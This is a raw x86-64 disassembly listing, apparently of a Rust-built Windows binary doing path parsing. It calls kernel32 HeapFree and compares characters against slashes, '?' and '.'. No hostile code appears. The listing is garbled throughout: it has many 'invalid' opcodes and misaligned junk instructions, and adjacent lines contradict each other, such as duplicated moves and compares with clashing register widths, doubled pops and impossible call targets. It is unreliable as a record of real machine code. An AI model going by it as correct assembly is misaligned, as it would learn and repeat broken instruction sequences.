mov r14d, 4
lea rsi, [r8 + r14]
inc rsi
mov rcx, qword [r12]
cmp rcx, rsi
cmp ecx, esi
cmp ecx, esi
jae 0x1400db4b2
jmp case.0x1400ca0d6.764
call qword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
out 0x20, al
out 0x20, al
or rsi, 2
cmp qword [rbp + 0x3f0], 0
je 0x1400db429
mov r8, qword [rbp + 0x3f8]
mov rcx, qword [0x140182260]
invalid
outsb dx, byte [rsi]
or al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
outsd dx, dword [rsi]
add eax, dword [rax]
invalid
invalid
mov rcx, qword [rbp + 0x3e0]
mov qword [rcx + 8], rsi
movabs rax, 0x8000000000000000
mov qword [rcx], rax
mov rax, qword [rbp + 0x408]
cmp qword [rax], 0
je 0x1400db64f
jne case.0x1400b3986.864
movzx ecx, word [rbx]
jmp 0x1400db47d
movzx ecx, word [rbx]
cmp esi, 3
add ecx, dword [rdi]
invalid
mov eax, dword [rax]
add byte [rax], al
cmp cx, 0x5c
jne case.0x1400b3986.864
movzx eax, word [rbx + 2]
cmp ax, 0x5c
pop rsp
jne case.0x1400b3986.864
add r8, 0xfffffffffffffffe
add rbx, 4
lea r15, [0x14014acc8]
mov r14d, 8
lea rsi, [r8 + r14]
lea esi, [rax + rsi]
lea esi, [rax + rsi]
inc rsi
mov rcx, qword [r12]
cmp rcx, rsi
jb case.0x1400ca0d6.764
mov rdi, r8
mov edi, eax
mov rsi, rcx
mov rcx, qword [rbp + 0x3e8]
invalid
jmp 0x1400db592
mov r15d, 2
xor r14d, r14d
lea rsi, [r8 + r14]
lea esi, [rax + rsi]
lea esi, [rax + rsi]
inc rsi
mov rcx, qword [r12]
cmp rcx, rsi
jae 0x1400db4b2
lea rax, [rsi + rsi]
mov rdi, r8
test rcx, rcx
je 0x1400db550
add eax, dword [rax]
add byte [rax - 0x77], cl
lea edi, [rax - 0x46fffffd]
add al, byte [rax]
add byte [rax], al
jmp 0x1400db552
mov r15d, 2
cmp cx, 0x5c
add byte [rax], al
add byte [rsi - 0x7d], ah
stc
pop rsp
jne 0x1400db4ca
cmp eax, 0x3f
je 0x1400db4ca
pop rsp
jne 0x1400db487
invalid
dec dword [rdi]
mov bh, 0x43
add al, 0x83
invalid
cmp eax, 0x3f
je case.0x1400a4d60.949
clc
invalid
cmp eax, 0x2e
jne 0x1400db48d
invalid
invalid
invalid
jne 0x1400db48d
invalid
cmp word [rbx + 6], 0x5c
jne 0x1400db48d
add r8, 0xfffffffffffffffc
add rbx, 8
ret
invalid
sar ah, 0x48
add ebx, 8
ret
invalid
ret
jmp 0x1400db3d3
cmp esi, 0xffffffff
push qword [rcx]
leave
mov qword [rbp + 0x3b0], rcx
lea rcx, [rbp + 0x3c0]
lea r9, [rbp + 0x3a8]
mov edx, 2
mov r8, rax
call fcn.1400d4d20
cmp qword [rbp + 0x3c0], 0
add byte [rax], al
add byte [rax], al
jne 0x1400db6bf
add byte [rax], al
mov rcx, qword [rbp + 0x3c8]
mov qword [r12 + 8], rcx
mov qword [r12], rsi
lea r8d, [r14 + r14]
add al, 0x36
mov rdx, r15
call fcn.140106250
lodsb al, byte [rsi]
add al, byte [rax]
lodsb al, byte [rsi]
add al, byte [rax]
mov qword [r12 + 0x10], r14
mov rax, rsi
sub rax, r14
cmp rax, rdi
jae 0x1400db5d2
mov rcx, r12
mov ecx, esp
mov rdx, r14
mov r15, rdi
mov r8, rdi
call fcn.140110110
mov r12, qword [rbp + 0x408]
mov rsi, qword [r12]
mov r14, qword [r12 + 0x10]
mov rdi, r15
lea r8, [rdi + rdi]
mov r15, qword [r12 + 8]
lea rcx, [r15 + r14*2]
mov rdx, rbx
call fcn.140106250
add r14, rdi
mov qword [r12 + 0x10], r14
cmp r14, rsi
jne 0x1400db608
mov rcx, r12
call case.0x14001a5bd.3056
mov r12, qword [rbp + 0x408]
mov r15, qword [r12 + 8]
mov word [r15 + r14*2], 0
inc r14
mov qword [r12 + 0x10], r14
cmp qword [rbp + 0x3f0], 0
add byte [rax], al
add byte [rax], al
mov rsi, qword [rbp + 0x3e0]
je case.0x1400ca0d6.748
add eax, dword [rax]
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x3f8]
test eax, edi
add eax, dword [rax]
invalid
mov r8, qword [rbp + 0x3f8]
test eax, edi
add eax, dword [rax]
add byte [rax - 0x75], cl
or eax, 0xa6c2a
sub ch, byte [rdx + rcx]
mov rcx, qword [0x140182260]
sub ch, byte [rdx + rcx]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x36d22
mov rax, qword [r12 + 0x10]
mov eax, dword [rsp + 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [r12]
adc byte [rsp], al
adc byte [rsp], al
movups xmmword [rsi], xmm0
add rsp, 0x498
add al, 0
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movzx eax, word [r9]
movzx eax, word [rcx]
cmp eax, 0x2f
je 0x1400db21c
invalid
clc
invalid
inc dword [rbx - 0x7bf0a308]
movabs dword [0xfffffbbfe9fffffb], eax
invalid
jmp 0x1400db23d
cmp eax, 0x5c
clc
pop rsp
je 0x1400db21c
invalid
jmp 0x1400db23d
cmp word [rbx + 6], 0x5c
jne 0x1400db48d
test dword [rsi + rdi*8], eax
invalid
invalid
jmp 0x1400db4ca
invalid
invalid
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
add byte [rax], al
add byte [rax], al
add al, ch
call fcn.140108350
jmp 0x1400db6d2
invalid
stosb byte [rdi], al
int3
sub cl, byte [rax - 0x73]
add eax, 0x6f521
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r12
mov r8, rax
call fcn.140108340
add al, byte [rax]
add al, byte [rax]
jmp 0x1400db6d2
adc ecx, dword [rax - 0x75]
mov rcx, qword [rbp + 0x3c8]
mov rdx, qword [rbp + 0x3d0]
add byte [rax], al
invalid
add byte [rax], al
call fcn.140107fc0
ud2
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
sub byte [rax - 0x73], cl
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
invalid
invalid
mov ebp, 0x3f0
add byte [rax], al
cmp qword [rbp + 0x3f0], 0
je 0x1400db71c
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x3f8]
test eax, edi
add eax, dword [rax]
add byte [rax], al
mov r8, qword [rbp + 0x3f8]
test eax, edi
add eax, dword [rax]
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or eax, 0xa6b4c
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x408]
or byte [rax + rax], al
add byte [rax - 0x7d], cl
cmp qword [rax], 0
cmp qword [rax], 0
cmp dword [rax], 0
je case.0x1400b3986.887
sbb cl, byte [rax - 0x75]
test dword [rax], ecx
add al, 0
add byte [rbx + rcx*4 + 0x40], cl
or byte [rax - 0x75], cl
mov rax, qword [rbp + 0x408]
mov eax, dword [rbp + 0x408]
mov r8, qword [rax + 8]
mov rcx, qword [0x140182260]
or byte [rax - 0x75], cl
or eax, 0xa6b25
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
insb byte [rdi], dx
add eax, dword [rax]
invalid
sar bh, cl
adc eax, 0x36c1d
insb byte [rdi], dx
add eax, dword [rax]
invalid
insb byte [rdi], dx
add eax, dword [rax]
invalid
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
int3
int3
int3
push rbx
sub rsp, 0x1b8
in al, dx
invalid
add dword [rax], eax
invalid
mov eax, 0x48000001
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esi
mov qword [rbp + 0x130], 0xfffffffffffffffe
add dword [rax], eax
add dh, bh
invalid
mov r13, r8
mov ebp, eax
mov rsi, rdx
mov rbx, rcx
mov r15, qword [rcx + 8]
jns case.0x1400dc7e7.132
or byte [rbx + rcx*4 + 0x71], cl
adc byte [rbp - 0x7b], cl
test esi, esi
je 0x1400db7fb
mov rdi, rsi
mov r14, qword [rcx + 0x10]
test r14, r14
test esi, esi
test esi, esi
je 0x1400db7fb
pop rdi
mov rdi, rsi
test dword [rcx + rcx*4 - 0x12], 0x43dd8949
mov rsi, r13
mov r13, rbx
mov ebp, ebx
movzx eax, byte [r14 + r15 - 1]
movzx eax, byte [rsi + rdi - 1]
cmp al, 0x2f
invalid
setne r12b
cmp al, 0x5c
setne bl
lea rcx, [rbp + 0xc0]
lea ecx, [rbp + 0xc0]
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
mov edx, edi
cli
mov r8, r14
call fcn.1400d8190
enter 0xffffffffffffffc9, 0xffffffffffffffff
invalid
inc dword [rdi + rcx - 0x4a]
test eax, eax
add byte [rax], al
add byte [rax], al
invalid
invalid
movzx r8d, byte [rbp + 0xc0]
movzx eax, r8b
mov dh, 0xc0
ror byte [rbx + rcx*4 - 0x6b], 0xd0
mov r10, qword [rbp + 0xd0]
add byte [rax], al
add byte [rbx + rcx*4 - 0x73], cl
loopne case.0x1400d8aa8.80
invalid
mov r9, qword [rbp + 0xe0]
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [0x140178bbc]
add byte [rax], al
lea rcx, [0x140178bbc]
lea ecx, [0x140178bbc]
movsxd rdx, dword [rcx + rax*4]
add rdx, rcx
add edx, ecx
invalid
add edx, ecx
retf 0x894c
mov rcx, r15
jmp rdx
lea rcx, [r10 + 4]
lea ecx, [rdx + 4]
add al, 0xeb
mov dil, 6
invalid
jmp 0x1400db844
mov dil, 6
invalid
mov dword [rbp + 0x108], 0
xor r12d, r12d
invalid
in al, 0xe9
and eax, dword [rcx]
add byte [rax], al
invalid
jmp 0x1400db933
add byte [rcx - 0x73], cl
add qword [r13 - 0x7b], rcx
test r9, r9
lea rcx, [r9 + 1]
lea ecx, [rcx + 1]
test r9, r9
test ecx, ecx
cmove rcx, r9
add rcx, r10
add rcx, 8
jmp 0x1400db844
and byte [rcx + 6], bh
mov ecx, 6
invalid
add byte [rax], al
jmp 0x1400db844
sbb dword [rcx - 0x73], ecx
add qword [r13 - 0x7b], rcx
test ecx, ecx
lea rcx, [r9 + 1]
test r9, r9
test ecx, ecx
test ecx, ecx
cmove rcx, r9
cmove ecx, ecx
add rcx, r10
add rcx, 2
rol dword [rdx], 0xeb
invalid
rol dword [rdx], 0xeb
add ch, bl
add eax, 0x2b9
add byte [rcx + rdi - 0xf], cl
mov ecx, 2
add byte [rax], al
cmp rcx, r14
ja case.default.0x1400dc1f5
cli
or dword [rax], eax
invalid
add byte [rax], al
add byte [rbp + 0xc], dh
jne case.0x1400d8e32.81
mov dword [rbp + 0x108], 0
jmp 0x1400db875
invalid
test dword [rax], ecx
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add bl, ch
sbb cl, byte [rcx + rax - 7]
add rcx, r15
add rcx, r15
movzx ecx, byte [rcx]
cmp cl, 0x2f
invalid
sete dl
cmp cl, 0x5c
sete cl
or cl, dl
invalid
mov dword [rbp + 0x108], ecx
and r12b, bl
and ah, bl
add byte [rcx + 0x20], al
and ah, bl
fmul qword [rax - 0x75]
invalid
mov rcx, qword [rbp + 0xc1]
mov rdx, qword [rbp + 0xc8]
xchg ebp, eax
enter 0, 0
mov qword [rbp + 0x3f], rdx
push rbp
invalid
mov qword [rbp + 0x38], rcx
mov r11, qword [rbp + 0xd8]
mov ebx, dword [rbp + 0xd8]
mov ebx, dword [rbp + 0xd8]
mov eax, eax
lea rcx, [0x140178bd8]
add byte [rax + 0x63], cl
adc al, 0x81
invalid
add byte [rax + 0x63], cl
adc al, 0x81
invalid
or dword [rax + 1], 0xeb894cca
add rdx, rcx
add edx, ecx
mov rbx, r13
jmp 0x1400db8f2
mov r13, rsi
mov rsi, rdi
mov qword [rbp + 0xb8], r9
mov qword [rbp + 0x20], r10
push rbp
invalid
mov qword [rbp + 0x28], r11
jmp rdx
lea rcx, [r10 + 4]
add al, 0x48
test ecx, ecx
test rcx, rcx
jne 0x1400db8fa
xor ch, bl
jmp case.0x1400db8bd.6
lea rcx, [r9 + 1]
lea rcx, [r9 + 1]
test r9, r9
cmove rcx, r9
cmove ecx, ecx
cmove ecx, ecx
leave
add rcx, r10
add ecx, edx
add rcx, 8
add ecx, 8
test rcx, rcx
test ecx, ecx
jne 0x1400db8fa
sbb ebx, ebp
xor byte [rcx - 0x73], cl
lea rcx, [r9 + 1]
test r9, r9
jmp case.0x1400db8bd.6
lea rcx, [r9 + 1]
test r9, r9
cmove rcx, r9
add rcx, r10
add ecx, edx
ror dword [rax - 0x7d], 1
rol dword [rdx], 0x48
add cl, byte [rax - 0x7b]
leave
add rcx, 2
add ecx, 2
add cl, byte [rax - 0x7b]
test rcx, rcx
leave
je case.0x1400db8bd.6
lea rcx, [0x140178bf4]
or eax, 0x9d2f3
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea eax, [rdx + 4]
cmp rax, r14
je case.0x1400ca0d6.780
mov edi, r8d
jmp 0x1400db933
mov eax, 6
cmp rax, r14
jne case.0x1400db8bd.6
xor eax, eax
mov edi, r8d
mov edi, eax
mov edi, eax
cmp r8b, 5
movzx r12d, r12b
cmove r12d, eax
invalid
invalid
loopne 0x1400db97c
mov rcx, rsi
mov rdx, r13
call fcn.1400d8050
inc dword [rax + rax*8 + 0x86850f]
add byte [rax], al
invalid
inc dword [rax + rax*8 + 0x86850f]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp + 0xc0]
mov rdx, rsi
mov r8, r13
call fcn.1400d8190
cmp al, cl
invalid
dec dword [rdi]
mov dh, 0x95
rol byte [rax], 0
add byte [rax], al
cmp al, cl
invalid
dec dword [rdi]
mov dh, 0x95
rol byte [rax], 0
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xe0]
mov eax, dword [rbp + 0xe0]
mov eax, dword [rbp + 0xe0]
lea r8, [0x140178c08]
ror byte [rcx], cl
or dword [rax], eax
add byte [rcx + 0x63], cl
adc al, 0x90
nop
movsxd rdx, dword [r8 + rdx*4]
nop
add rdx, r8
jmp rdx
ret 0xe2ff
add rcx, 4
jmp case.0x1400d8e32.84
mov eax, 2
cmp rax, r14
je case.0x1400ca0d6.780
jmp case.0x1400db8bd.6
test byte [rax - 0x73], cl
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
add ecx, 2
jmp case.0x1400d8e32.84
push rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
add ecx, 2
jmp case.0x1400d8e32.84
mov ecx, 6
mov ecx, 6
jmp case.0x1400d8e32.84
lea rdx, [rax + 1]
lea edx, [rax + 1]
test rax, rax
cmove rdx, rax
cmove edx, eax
add rcx, rdx
add rcx, 8
add ecx, 8
jmp case.0x1400d8e32.84
mov ecx, 2
cmp rcx, r13
ja 0x1400dc256
xchg dword [rdx + 0x48000008], ecx
mov dword [rbx + 0x10], 0
mov qword [rbx + 0x10], 0
mov rcx, rbx
mov rdx, rsi
mov edx, esi
mov edx, esi
mov r8, r13
call fcn.1400daef0
cmc
invalid
invalid
call 0x14002c8c9
call qword [rax - 0x473b7eb8]
nop
add rsp, 0x1b8
add esp, 0x1b8
mov eax, 0x5b000001
pop rdi
cmc
invalid
nop
add rsp, 0x1b8
add esp, 0x1b8
invalid
add dword [rax], eax
invalid
mov eax, 0x5b000001
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop rbp
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
test r13, r13
je case.0x1400d8aa8.117
test cl, dl
add byte [rax], al
add byte [rax - 0x80], al
invalid
invalid
cmp dil, 3
inc dword [rbx]
jae case.0x1400d8aa8.117
mov dword [rax], 0x894c0000
jge 0x1400db9ee
add byte [rcx + rcx*4 + 0x7d], cl
loopne 0x1400dba5b
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r14
mov dword [rbp - 0x18], esi
jne 0x1400db9fa
mov byte [rbp - 0x10], dil
jge 0x1400dba06
invalid
mov rax, qword [rbp + 0x38]
mov eax, dword [rbp + 0x38]
mov rcx, qword [rbp + 0x3f]
mov qword [rbp - 0xf], rax
mov qword [rbp - 8], rcx
clc
clc
mov rax, qword [rbp + 0x20]
mov qword [rbp], rax
add byte [r8 - 0x75], r9b
sub byte [r8 - 0x77], r9b
sub byte [rax - 0x77], cl
invalid
invalid
add byte [r8 - 0x75], r9b
sub byte [r8 - 0x77], r9b
sub byte [rax - 0x77], cl
sub byte [rax - 0x77], cl
mov dword [rbp + 8], eax
or byte [r8 - 0x75], r9b
test dword [rax + 0x48000000], edi
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x10], rax
add byte [rax], al
add byte [rax - 0x77], cl
adc byte [r14 - 0x39], r12b
mov word [rbp + 0x18], 0x200
invalid
test dword [rax], ecx
add dword [rax], eax
mov word [rbp + 0x18], 0x200
mov eax, dword [rbp + 0x108]
test dword [rax], ecx
add dword [rax], eax
invalid
test dword [rax], ecx
add dword [rax], eax
add byte [rax - 0x72b7e5bb], cl
mov byte [rbp + 0x1a], al
lea rcx, [rbp - 0x58]
lea rdx, [rbp - 0x20]
lea edx, [rbp - 0x20]
sbb r9b, byte [r8 - 0x73]
sbb cl, byte [rax - 0x73]
test al, 0x48
lea edx, [rbp - 0x20]
push rbp
loopne case.0x140096f06.1002
call fcn.1400d8630
ror ebx, cl
invalid
cmp byte [rbp - 0x58], 0xa
mov qword [rbp + 0x30], rbx
xor byte [rdi], cl
invalid
mov cl, 0
add byte [rax], al
xor byte [rdi], cl
test dword [rcx + 0x48000000], esi
add byte [rax], al
mov qword [rbp + 0x110], 0
add byte [rax], al
mov qword [rbp + 0x110], 0
adc byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test dword [rax], ebx
sbb byte [rcx], al
add byte [rax], al
or byte [rax], al
invalid
mov qword [rbp + 0x118], 8
sbb byte [rcx], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test dword [rax], esp
add dword [rax], eax
mov qword [rbp + 0x120], 0
mov dword [rbp + 0x120], 0
add byte [rax], al
add byte [rax], al
add cl, ch
fild dword [rcx]
add dword [rax], eax
add byte [rcx - 0x73], cl
invalid
invalid
add byte [rax], al
jmp 0x1400dbc6c
add dword [rax], eax
add byte [rcx - 0x73], cl
add dword [r13 - 0x7b], ecx
invalid
invalid
test r9, r9
leave
cmove rax, r9
add rax, r10
add eax, edx
ror byte [rax - 0x7d], 1
rol byte [rdx], 0x4c
cmp rax, r14
add rax, 2
cmp rax, r14
invalid
je case.0x1400ca0d6.780
invalid
invalid
jmp case.0x1400db8bd.6
lea rax, [r9 + 1]
test r9, r9
add dword [r13 - 0x7b], ecx
add dword [rbp - 0x7b], ecx
leave
cmove rax, r9
cmove eax, ecx
ror dword [rcx + rax - 0x30], 0x48
add eax, 8
invalid
invalid
add rax, r10
add rax, 8
ror byte [rax], 0x4c
cmp eax, esi
or byte [rcx + rdi - 0x10], cl
cmp rax, r14
je case.0x1400ca0d6.780
test byte [rsi - 2], dl
invalid
push rsi
invalid
jmp case.0x1400db8bd.6
invalid
invalid
dec dword [rax - 0x73]
invalid
lea rcx, [rbp + 0xc0]
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov r8, r13
mov r8, r13
mov rdx, rsi
mov r8, r13
call 0x13fd468ca
call fcn.1400d8190
movzx eax, byte [rbp + 0xc0]
mov dh, 0x85
rol byte [rax], 0
add byte [rax], al
invalid
dec dword [rdi]
mov dh, 0x85
rol byte [rax], 0
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rbp + 0xd0]
mov ecx, dword [rbp + 0xd0]
invalid
add byte [rax - 0x75], cl
xchg ebp, eax
mov rdx, qword [rbp + 0xe0]
mov edx, dword [rbp + 0xe0]
loopne 0x1400dbaf6
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
movzx r8d, al
movzx eax, al
mov dh, 0xc0
ror byte [rbp + rcx*4 + 0xd], 0x21
lea r9, [0x140178c24]
movsxd r10, dword [r9 + r8*4]
invalid
adc al, 0x81
ror dword [rcx], 1
add byte [rdi + 0x63], cl
invalid
adc al, 0x81
add r10, r9
add edx, ecx
mov r8, r13
mov r9, rsi
mov ecx, esi
mov ecx, esi
int1
jmp r10
loop 0x1400dbb5c
add rcx, 4
add ecx, 4
rol dword [rcx + rbp*8], 0xc6
add dword [rax], eax
jmp 0x1400dbce2
mov byte [rcx], 0
add byte [rax - 0x77], cl
test dword [rcx + rcx*4 - 0x12], 0xe705b60f
mov esi, ebp
invalid
mov dh, 5
invalid
mov rdi, rsi
mov rsi, r13
mov esi, ebp
mov esi, ebp
movzx eax, byte [0x140182310]
mov dh, 5
out 0x67, eax
or al, byte [eax]
or al, byte [eax]
mov edx, 0xe0
loopne case.0x1400d8095.152
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
leave
xor ecx, ecx
call fcn.1400dfbe0
stosd dword [rdi], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
test byte [rdi], bh
test rax, rax
je 0x1400dc27d
add byte [rax], al
mov r14, rax
mov esi, eax
mov rax, qword [rbp - 0x28]
mov qword [r14 + 0x30], rax
mov dword [rsi + 0x30], eax
xor byte [rdi], r9b
xor byte [rdi], cl
movups xmm0, xmmword [rbp - 0x58]
adc byte [rbp - 0x58], al
movups xmm1, xmmword [rbp - 0x48]
movups xmm2, xmmword [rbp - 0x38]
adc byte [rbp - 0x38], dl
movabs r8, 0x56110f41c855100f
adc byte [rbp - 0x38], dl
enter 0xf41, 0x11
movups xmmword [r14 + 0x20], xmm2
movups xmmword [r14 + 0x10], xmm1
movups xmmword [rsi + 0x10], xmm1
push rsi
and byte [rcx + 0xf], al
movups xmmword [rsi + 0x10], xmm1
adc dword [rsi + 0x10], ecx
adc byte [rcx + 0xf], al
movups xmmword [r14], xmm0
adc dword [rsi], eax
invalid
mov qword [rbp + 0xa0], 4
movabs al, byte [0x4c00000004000000]
mov dword [rbp + 0xa8], esi
mov ch, 0xa8
add byte [rax], al
invalid
add byte [rax + rax], al
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0x4b], cl
test al, 0
add byte [rax], al
invalid
mov qword [rbp + 0xa8], r14
mov ch, 0xa8
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp + 0xb0], 1
test dword [rax + 0x1000000], esi
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
movups xmm0, xmmword [rbp - 0x20]
adc byte [rbp - 0x20], al
movups xmm1, xmmword [rbp - 0x10]
adc byte [rbp - 0x10], cl
movups xmm2, xmmword [rbp]
movups xmm3, xmmword [rbp + 0x10]
adc byte [rbp + 0x10], bl
movaps xmmword [rbp + 0xf0], xmm3
movaps xmmword [rbp + 0xe0], xmm2
sub dword [rbp + 0xe0], edx
lock add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0xe0], edx
loopne case.0x1400b3986.928
add byte [rax], al
movaps xmmword [rbp + 0xd0], xmm1
sub dword [rbp + 0xd0], ecx
rol byte [rax], 1
add byte [rax], al
invalid
add byte [rdi], cl
sub dword [rbp + 0xc0], eax
rol byte [rax], 0
invalid
movaps xmmword [rbp + 0xc0], xmm0
rol byte [rax], 0
add byte [rax - 0x73], cl
push 0xffffffffc0958d48
invalid
invalid
xchg ebp, eax
rol byte [rax], 0
add byte [rax], al
lea rcx, [rbp + 0x68]
lea rdx, [rbp + 0xc0]
lea edx, [rbp + 0xc0]
rol byte [rax], 0
add al, ch
je case.0x1400d8946.124
call fcn.1400d8630
cmp byte [rbp + 0x68], 0xa
or cl, byte [rdi]
invalid
test byte [rax], al
add byte [rax], al
invalid
invalid
mov r15d, 1
add byte [rbp + rcx*4 + 0x6d], cl
push 0xffffffffc0a58d4c
lea r12, [rbp + 0xc0]
invalid
invalid
invalid
lea r13, [rbp + 0x68]
lea ebp, [rbp + 0x68]
lea r12, [rbp + 0xc0]
nop word [rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
cmp r15, qword [rbp + 0xa0]
add byte [rax], al
add byte [rbp + 0x16], dh
add byte [rax], al
jne case.0x1400d8e32.109
lea rcx, [rbp + 0xa0]
mov rdx, r15
lea esp, [rax + 0x4c000000]
mov edx, edi
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
call fcn.1401102a0
mov r14, qword [rbp + 0xa8]
add byte [rax], al
invalid
imul rax, r15, 0x38
mov rcx, qword [rbp + 0x98]
invalid
cwde
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov qword [r14 + rax + 0x30], rcx
movups xmm0, xmmword [rbp + 0x68]
adc byte [rbp + 0x68], al
movups xmm1, xmmword [rbp + 0x78]
movups xmm2, xmmword [rbp + 0x88]
xchg ebp, eax
mov byte [rax], al
add byte [rax], al
xchg ebp, eax
mov byte [rax], al
add byte [rax], al
movups xmmword [r14 + rax + 0x20], xmm2
movups xmmword [r14 + rax + 0x10], xmm1
invalid
invalid
and byte [rcx + 0xf], al
adc dword [rsi + rax + 0x10], ecx
invalid
invalid
movups xmmword [r14 + rax], xmm0
inc r15
invalid
mov qword [rbp + 0xb0], r15
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov rdx, r12
call fcn.1400d8630
cmp byte [rbp + 0x68], 0xa
invalid
or dh, byte [rbp - 0x6a]
push 0xf96750a
adc byte [rbp + 0xa0], al
invalid
add byte [rax], al
invalid
movups xmm0, xmmword [rbp + 0xa0]
movabs al, byte [0x11085290f000000]
movaps xmmword [rbp + 0x110], xmm0
adc byte [rcx], al
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
add byte [rax], al
mov rax, qword [rbp + 0xb0]
test dword [rax + 0x48000000], esi
mov dword [rbp + 0x120], eax
test dword [rax], esp
add dword [rax], eax
invalid
mov al, 0
add byte [rax], al
mov qword [rbp + 0x120], rax
test dword [rax], esp
add dword [rax], eax
add byte [rcx - 0x77], cl
mov ebp, esi
and byte [rcx], al
add byte [rax], al
mov r13, rsi
mov rsi, rdi
mov byte [rbp + 0x12f], 0
add byte [rax], al
add byte [rax - 0x73], cl
add byte [rax], al
lea rcx, [rbp + 0x68]
push 0x4df28948
push 0x4df28948
mov rdx, rsi
mov r8, r13
invalid
mov eax, ebp
call fcn.1400d8190
movzx edx, byte [rbp + 0x68]
mov dh, 0x55
push 0x784d8b48
invalid
push 0x784d8b48
mov rax, qword [rbp + 0x88]
test dword [rax + 0x4c000000], ecx
mov byte [rax], al
add byte [rax], al
lea r8, [0x140178c74]
lea eax, [0x140178c74]
add eax, 0x9cfdc
movsxd r9, dword [r8 + rdx*4]
or al, 0x90
add r9, r8
mov rdx, rsi
bnd jmp r9
bnd jmp r9
add rcx, 4
add ecx, 4
add al, 0xe9
test byte [rax], 0
jmp case.0x1400ca0d6.800
add byte [rbp + rcx*4 + 0x42], cl
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
cmove r8, rdx
ret 0x14c
ror dword [rax - 0x7d], 0xc1
add ecx, 8
ret 0x14c
add ecx, 8
jmp 0x1400dbce2
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
sbb dword [rbp + rcx*4 + 0x42], ecx
invalid
invalid
invalid
jmp 0x1400dbce2
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
invalid
invalid
add dword [rax - 0x7b], ecx
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
ret 0x14c
add rcx, r8
add rcx, 2
add ecx, 2
add ecx, 2
rol dword [rdx], 0xeb
jmp 0x1400dbce2
add eax, 0x2b9
add byte [rbp - 0x77], cl
call 0x14fd5e632
invalid
invalid
invalid
mov ecx, 2
add byte [rax], al
mov r8, r13
sub r8, rcx
invalid
enter 0xffffffffffff820f, 0x68
add eax, 0x1480000
add rcx, rsi
jb 0x1400dc256
add rcx, rsi
add ecx, esi
mov r9, rcx
test r8, r8
test eax, eax
je 0x1400dbd07
movzx ecx, byte [r9]
cmp ecx, 0x2f
je 0x1400dbd0b
invalid
or dword [rbx + 0x9742ff9], eax
or dword [rbx + 0x4745cf9], eax
cmp ecx, 0x5c
